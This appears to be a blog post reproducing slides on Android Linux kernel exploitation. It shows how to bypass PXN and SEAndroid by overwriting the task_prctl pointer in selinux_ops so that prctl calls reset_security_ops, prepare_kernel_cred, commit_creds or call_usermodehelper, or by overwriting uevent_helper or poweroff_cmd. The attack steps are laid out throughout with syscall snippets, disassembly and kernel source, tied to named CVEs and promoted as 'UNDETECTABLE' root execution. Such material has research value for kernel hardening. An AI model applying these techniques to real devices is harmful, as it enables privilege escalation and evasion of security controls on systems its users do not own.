Proposing new kernel attack technique
1.Search for callable function inside FPT structure (ptmx, securityops, defaultsecurity_ops)
2.User input has to be transferred without modification (intact) // 用户输入不能被修改,必须被完整的输入。
Select function pointer(within kernel) to call without ROP
1.taskprctl function pointer from selinuxops meets all criteria
2.user inputs were passed though without modification
kernel/sys.c:
SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3,
unsigned long, arg4, unsigned long, arg5)
{
struct task_struct *me = current;
struct task_struct *tsk;
unsigned char comm[sizeof(me->comm)];
long error;
error = security_task_prctl(option, arg2, arg3, arg4, arg5);
if (error != -ENOSYS)
return error;
error = 0;
...
}
PXN bypass attack without ROP
When only partial memory value can be increased/decresed
CVE-2013-2094 perfeventopen
1.call resetsecurityops by increasing address of captaskprctl
2.call commit_creds
Direction Type Address Text
--------- ---- ------- ----
Up p ____call_usermodehelper+130 BL commit_creds
Up p set_current_groups+38 BL commit_creds
Up p install_exec_creds+20 BL commit_creds
Up p keyctl_change_reqkey_auth+50 BL commit_creds
Up p keyctl_set_reqkey_keyring+98 BL commit_creds
Up p join_session_keyring+90 BL commit_creds
Up p join_session_keyring+118 BL commit_creds
Up p lookup_user_key:loc_C0390D70 BL commit_creds
Up p lookup_user_key+420 BL commit_creds
Up p key_replace_session_keyring+1A0 BL commit_creds
p cap_task_prctl+198 BL commit_creds
Down p selinux_setprocattr+120 BL commit_creds
int cap_task_prctl(int option, unsigned long arg2, unsigned long arg3,
unsigned long arg4, unsigned long arg5)
{
struct cred *new;
long error = 0;
new = prepare_creds();
...
changed:
return commit_creds(new);
}
ROM:C0393754 cap_task_prctl
ROM:C0393754
ROM:C0393754 MOV R12, SP
ROM:C0393758 STMFD SP!, {R3-R6,R11,R12,LR,PC}
...
ROM:C03938E8 MOV R0, R5
ROM:C03938EC BL commit_creds
...
When we have total control over memory
CVE-2014-3153 futexrequeue CVE-2013-6282 get/putuser CVE-2015-0815 pipe
Change the value of taskprctl within selinuxops to kernel function address we want to call
1.Turn off SEAndroid and call commitcreds after calling preparekernel_cred
// change task_prctl within selinux_ops to address of reset_security_ops
syscall(172); /* 172 = sys_prctl *//* reset_security_ops() call */
[...]
// change task_prctl within selinux_ops to address of prepare_kernel_cred
cred_addr=syscall(172, 0); /* prepare_kernel_cred(0) call */
[...]
// change task_prctl within selinux_ops to address of commit_creds
syscall(172,cred_addr); /* commit_creds(cred_addr) call */
2.Calling taskprctl after overwriting its value to the address of commitcreds
// change task_prctl within selinux_ops to address of commit_creds
// we don’t need to call prepare_kernel_cred if we provide init_cred address as a parameter
syscall(172,&init_cred);
3.We can indirectly call overridecreds function by calling taskprctl
// change task_prctl within selinux_ops to address of override_creds
[...]
void *cred_ptr=(void *)mmap(0x80000,0x100,...);
*(long *)&cred_ptr[0]=cred_addr;
[...]
syscall(172,0x80000);
kernel thread command execution
call_usermodehelper API
static inline int
call_usermodehelper(char *path, char **argv, char **envp, int wait)
{
return call_usermodehelper_fns(path, argv, envp, wait,
NULL, NULL, NULL);
}
static inline int
call_usermodehelper_fns(char *path, char **argv, char **envp, int wait,
int (*init)(struct subprocess_info *info, struct cred *new),
void (*cleanup)(struct subprocess_info *), void *data)
{
struct subprocess_info *info;
gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL;
// Set the argument, environment variables, handlers to run within kernel memory
info = call_usermodehelper_setup(path, argv, envp, gfp_mask);
if (info == NULL)
return -ENOMEM;
call_usermodehelper_setfns(info, init, cleanup, data);
// Register sub_info->work to khelper_wq queue
return call_usermodehelper_exec(info, wait);
}
struct subprocess_info *call_usermodehelper_setup(char *path, char **argv,
char **envp, gfp_t gfp_mask)
{
...
INIT_WORK(&sub_info->work, __call_usermodehelper);
...
}
static void __call_usermodehelper(struct work_struct *work)
{
...
if (wait == UMH_WAIT_PROC)
pid = kernel_thread(wait_for_helper, sub_info,
CLONE_FS | CLONE_FILES | SIGCHLD);
else
pid = kernel_thread(____call_usermodehelper, sub_info,
CLONE_VFORK | SIGCHLD);
...
}
static int ____call_usermodehelper(void *data)
{
...
retval = kernel_execve(sub_info->path,
(const char *const *)sub_info->argv,
(const char *const *)sub_info->envp);
...
}
// call do_execve function and execute user application
int kernel_execve(const char *filename,
const char *const argv[],
const char *const envp[])
{
...
ret = do_execve(filename,
(const char __user *const __user *)argv,
(const char __user *const __user *)envp, ®s);
...
}
Bypassing PXN by calling call_usermodehelper
1.search for captaskprctl table address from security_ops structure
2.change captaskprctl value to resetsecurityops’s address
3.first calling prctl function will turn off SEAndroid
4.change captaskprctl value to call_usermodehelper’s address
5.second calling prctl function will run kernel thread command with admin priv
6.it runs as child process of kworker -> UNDETECTABLE
Kernel Protection bypass
use codes that indirectly call call_usermodehelper APIs
static int call_modprobe(char *module_name, int wait)
{
static char *envp[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin",
NULL
};
char **argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);
if (!argv)
goto out;
module_name = kstrdup(module_name, GFP_KERNEL);
if (!module_name)
goto free_argv;
argv[0] = modprobe_path;
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name; /* check free_modprobe_argv() */
argv[4] = NULL;
return call_usermodehelper_fns(modprobe_path, argv, envp,
wait | UMH_KILLABLE, NULL, free_modprobe_argv, NULL);
free_argv:
kfree(argv);
out:
return -ENOMEM;
}
int orderly_poweroff(bool force)
{
int argc;
char **argv = argv_split(GFP_ATOMIC, poweroff_cmd, &argc);
static char *envp[] = {
"HOME=/",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin",
NULL
};
...
info = call_usermodehelper_setup(argv[0], argv, envp, GFP_ATOMIC);
if (info == NULL) {
argv_free(argv);
goto out;
}
call_usermodehelper_setfns(info, NULL, argv_cleanup, NULL);
ret = call_usermodehelper_exec(info, UMH_NO_WAIT);
...
}
...
Bypassing kernel protection by calling call_usermodehelper without parameters
1.orderly_poweroff seems to work pretty well
2.Bypassing kernel protection by calling call_usermodehelper indirectly
3.Change poweroff_cmd variable value to location of variable we want to run
4.Turn off SEAndroid and change whatever FPT to address of orderly_poweroff
5.At calling prctl, desired process will run as admin in kernel thread
6.it runs as child process of kworker -> UNDETECTABLE
the easiest kernel protection bypass
Bypassing kernel protection by overwriting uevent_helper
1.Hotplug is automatically run by kobjectuevnetenv function
2.we can execute commands by overwriting uevent_helper without changing ops structure
int kobject_uevent_env(struct kobject *kobj, enum kobject_action action,
char *envp_ext[])
{
// uevent_helper = CONFIG_UEVENT_HELPER_PATH = "/sbin/hotplug"
...
argv [0] = uevent_helper;
argv [1] = (char *)subsystem;
argv [2] = NULL;
...
retval = call_usermodehelper(argv[0], argv,
env->envp, UMH_WAIT_EXEC);
...
}
没有评论:
发表评论